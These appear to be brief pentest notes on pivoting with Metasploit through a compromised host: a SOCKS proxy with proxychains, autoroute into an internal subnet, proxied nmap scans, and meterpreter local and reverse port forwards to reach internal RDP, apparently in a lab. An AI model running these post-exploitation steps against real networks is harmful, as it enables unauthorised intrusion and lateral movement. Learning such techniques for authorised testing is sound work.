We open a socks proxy on pivot box, after compromising it using a
meterpreterpayload
meterpreter > bg
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
runproxychains config:
$ tail -2 /etc/proxychains4.conf
socks4 127.0.0.1 9050Create route
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
runor, In the meterpreter shell. Same thing
meterpreter > run autoroute -s 172.16.5.0/23Now do things
proxychains nmap 172.16.5.19 -sT -v -Pn -FPort forward#
Local#
portfwd add -l 3300 -r 172.16.5.19 -p 3389It means attacker host’s port
3300is now internal host’s port3389
Interact:
xfreerdp3 /v:localhost:3300 /u:"$user" /p:"$pass"Remote#
The IP is attacker host’s IP
portfwd add -R -L 10.10.14.18 -l 8081 -p 1234This will make every traffics sent to pivot box’s port
1234will be forward to attacker host’s port8081